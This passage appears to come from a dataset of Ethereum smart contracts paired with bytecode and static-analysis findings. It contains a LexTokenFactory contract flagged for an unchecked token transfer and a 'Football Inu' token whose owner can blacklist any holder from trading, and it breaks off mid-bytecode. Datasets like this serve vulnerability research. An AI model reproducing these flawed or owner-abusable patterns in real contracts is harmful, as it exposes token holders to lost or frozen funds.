AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) payable external { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); (bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall"); IERC20(lexDAOtoken).transfer(msg.sender, userReward); emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106101bb5760003560e01c8063481c6a75116100ec5780637c88e3d91161008a57806395d89b411161006457806395d89b4114610ad5578063a9059cbb14610aea578063bb102aea14610b23578063d505accf14610b38576102b7565b80637c88e3d9146109c25780637ecebe0014610a8d57806392ff0d3114610ac0576102b7565b8063565974d3116100c6578063565974d3146107f857806361d3458f1461080d57806370a08231146108395780637a0c21ee1461086c576102b7565b8063481c6a7514610754578063535713251461078557806355b6ed5c146107bd576102b7565b8063313ce5671161015957806340557cf11161013357806340557cf1146106c757806340c10f19146106dc57806342966c6814610715578063466ccac01461073f576102b7565b8063313ce567146105bc5780633644e515146105e75780633b3e672f146105fc576102b7565b80631d809a79116101955780631d809a79146103ba57806321af8235146104d957806323b872dd1461056457806330adf81f146105a7576102b7565b806306fdde03146102bc578063095ea7b31461034657806318160ddd14610393576102b7565b366102b75760085460ff16610202576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461024f576040519150601f19603f3d011682016040523d82523d6000602084013e610254565b606091505b5050905080610295576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102b430336102af60015434610b9690919063ffffffff16565b610bc6565b50005b600080fd5b3480156102c857600080fd5b506102d1610c74565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561030b5781810151838201526020016102f3565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035257600080fd5b5061037f6004803603604081101561036957600080fd5b506001600160a01b038135169060200135610d02565b604080519115158252519081900360200190f35b34801561039f57600080fd5b506103a8610d80565b60408051918252519081900360200190f35b3480156103c657600080fd5b506104d7600480360360808110156103dd57600080fd5b810190602081018135600160201b8111156103f757600080fd5b82018360208201111561040957600080fd5b803590602001918460208302840111600160201b8311171561042a57600080fd5b919390929091602081019035600160201b81111561044757600080fd5b82018360208201111561045957600080fd5b803590602001918460208302840111600160201b8311171561047a57600080fd5b919390929091602081019035600160201b81111561049757600080fd5b8201836020820111156104a957600080fd5b803590602001918460208302840111600160201b831117156104ca57600080fd5b9193509150351515610d86565b005b3480156104e557600080fd5b506104d7600480360360408110156104fc57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561052657600080fd5b82018360208201111561053857600080fd5b803590602001918460018302840111600160201b8311171561055957600080fd5b509092509050610fb3565b34801561057057600080fd5b5061037f6004803603606081101561058757600080fd5b506001600160a01b03813581169160208101359091169060400135611094565b3480156105b357600080fd5b506103a8611133565b3480156105c857600080fd5b506105d1611157565b6040805160ff9092168252519081900360200190f35b3480156105f357600080fd5b506103a8611167565b34801561060857600080fd5b506104d76004803603604081101561061f57600080fd5b810190602081018135600160201b81111561063957600080fd5b82018360208201111561064b57600080fd5b803590602001918460208302840111600160201b8311171561066c57600080fd5b919390929091602081019035600160201b81111561068957600080fd5b82018360208201111561069b57600080fd5b803590602001918460208302840111600160201b831117156106bc57600080fd5b50909250905061116d565b3480156106d357600080fd5b506103a861124c565b3480156106e857600080fd5b506104d7600480360360408110156106ff57600080fd5b506001600160a01b038135169060200135611252565b34801561072157600080fd5b506104d76004803603602081101561073857600080fd5b50356112aa565b34801561074b57600080fd5b5061037f61131f565b34801561076057600080fd5b50610769611328565b604080516001600160a01b039092168252519081900360200190f35b34801561079157600080fd5b506104d7600480360360608110156107a857600080fd5b50803590602081013590604001351515611337565b3480156107c957600080fd5b506103a8600480360360408110156107e057600080fd5b506001600160a01b03813581169160200135166113df565b34801561080457600080fd5b506102d16113fc565b34801561081957600080fd5b506104d76004803603602081101561083057600080fd5b50351515611457565b34801561084557600080fd5b506103a86004803603602081101561085c57600080fd5b50356001600160a01b03166114f2565b34801561087857600080fd5b506104d7600480360361016081101561089057600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b8111156108da57600080fd5b8201836020820111156108ec57600080fd5b803590602001918460018302840111600160201b8311171561090d57600080fd5b919390929091602081019035600160201b81111561092a57600080fd5b82018360208201111561093c57600080fd5b803590602001918460018302840111600160201b8311171561095d57600080fd5b919390929091602081019035600160201b81111561097a57600080fd5b82018360208201111561098c57600080fd5b803590602001918460018302840111600160201b831117156109ad57600080fd5b91935091508035151590602001351515611504565b3480156109ce57600080fd5b506104d7600480360360408110156109e557600080fd5b810190602081018135600160201b8111156109ff57600080fd5b820183602082011115610a1157600080fd5b803590602001918460208302840111600160201b83111715610a3257600080fd5b919390929091602081019035600160201b811115610a4f57600080fd5b820183602082011115610a6157600080fd5b803590602001918460208302840111600160201b83111715610a8257600080fd5b50909250905061171a565b348015610a9957600080fd5b506103a860048036036020811015610ab057600080fd5b50356001600160a01b03166117ee565b348015610acc57600080fd5b5061037f611800565b348015610ae157600080fd5b506102d161180f565b348015610af657600080fd5b5061037f60048036036040811015610b0d57600080fd5b506001600160a01b03813516906020013561186a565b348015610b2f57600080fd5b506103a86118c5565b348015610b4457600080fd5b506104d7600480360360e0811015610b5b57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356118cb565b600082610ba557506000610bc0565b82820282848281610bb257fe5b0414610bbd57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610be99082611aaf565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610c189082611ac4565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610cfa5780601f10610ccf57610100808354040283529160200191610cfa565b820191906000526020600020905b815481529060010190602001808311610cdd57829003601f168201915b505050505081565b6000811580610d3257503360009081526009602090815260408083206001600160a01b0387168452909152902054155b610d6c576040805162461bcd60e51b8152602060048201526006602482015265085c995cd95d60d21b604482015290519081900360640190fd5b610d77338484611ad6565b50600192915050565b60025481565b6000546001600160a01b03163314610dd0576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610dde57508582145b610e28576040805162461bcd60e51b815260206004820152601660248201527521746f6b656e2f77697468726177546f2f76616c756560501b604482015290519081900360640190fd5b60005b86811015610fa9576000848483818110610e4157fe5b9050602002013590508215610ee757888883818110610e5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610eb857600080fd5b505afa158015610ecc573d6000803e3d6000fd5b505050506040513d6020811015610ee257600080fd5b505190505b888883818110610ef357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb888885818110610f1d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f7457600080fd5b505af1158015610f88573d6000803e3d6000fd5b505050506040513d6020811015610f9e57600080fd5b505050600101610e2b565b5050505050505050565b6000546001600160a01b03163314610ffd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561102460058383611c15565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166110e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461111e9186916111199086611aaf565b611ad6565b611129848484610bc6565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b8281146111ad576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff166111fa576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156112455761123d3386868481811061121557fe5b905060200201356001600160a01b031685858581811061123157fe5b90506020020135610bc6565b6001016111fd565b5050505050565b60015481565b6000546001600160a01b0316331461129c576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6112a68282611b38565b5050565b336000908152600a60205260409020546112c49082611aaf565b336000908152600a60205260409020556002546112e19082611aaf565b60025560408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60085460ff1681565b6000546001600160a01b031681565b6000546001600160a01b03163314611381576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018390556008805460ff191682151517905561139e3083611b38565b60408051848152821515602082015281517f97aa7a405c29762bd95d113c625902c62efe61b8341e7c1bed796131464c28c9929181900390910190a1505050565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610cfa5780601f10610ccf57610100808354040283529160200191610cfa565b6000546001600160a01b031633146114a1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b600a6020526000908152604090205481565b600854610100900460ff161561154f576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a600181905550886003819055508787600591906115af929190611c15565b506115bc60068787611c15565b506115c960078585611c15565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790556115fc8e8d611b38565b611606308b611b38565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600660405180828054600181600116156101000203166002900480156116895780601f10611667576101008083540402835291820191611689565b820191906000526020600020905b815481529060010190602001808311611675575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611764576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8281146117a4576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b83811015611245576117e68585838181106117be57fe5b905060200201356001600160a01b03168484848181106117da57fe5b90506020020135611b38565b6001016117a7565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610cfa5780601f10610ccf57610100808354040283529160200191610cfa565b60085460009062010000900460ff166118ba576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610d77338484610bc6565b60035481565b8342111561190a576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611a27573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611a5d5750896001600160a01b0316816001600160a01b0316145b611a98576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611aa38a8a8a611ad6565b50505050505050505050565b600082821115611abe57600080fd5b50900390565b600082820183811015610bbd57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600354600254611b489083611ac4565b1115611b84576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611ba79082611ac4565b6001600160a01b0383166000908152600a6020526040902055600254611bcd9082611ac4565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611c4b5760008555611c91565b82601f10611c645782800160ff19823516178555611c91565b82800160010185558215611c91579182015b82811115611c91578235825591602001919060010190611c76565b50611c9d929150611ca1565b5090565b5b80821115611c9d5760008155600101611ca256fea2646970667358221220ecc0157cfa6fea2e032901b010a8f6bdc804d2b1728df4da3fa0a433d3e23f9d64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,603
0x48a3d9510f7c2aa61a285ccb4eaa5ba072692468
/** *Submitted for verification at Etherscan.io on 2021-06-20 */ /** *Submitted for verification at Etherscan.io on 2021-06-20 */ /** *Submitted for verification at Etherscan.io on 2021-06-20 */ //Football Inu ($fINU) //Powerful Bot Protect yes //2% Deflationary yes //Telegram: https://t.me/footballinuofficial //CG, CMC listing: Ongoing //Fair Launch // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FootballInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Football Inu"; string private constant _symbol = "fINU"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600c81526020017f466f6f7462616c6c20496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff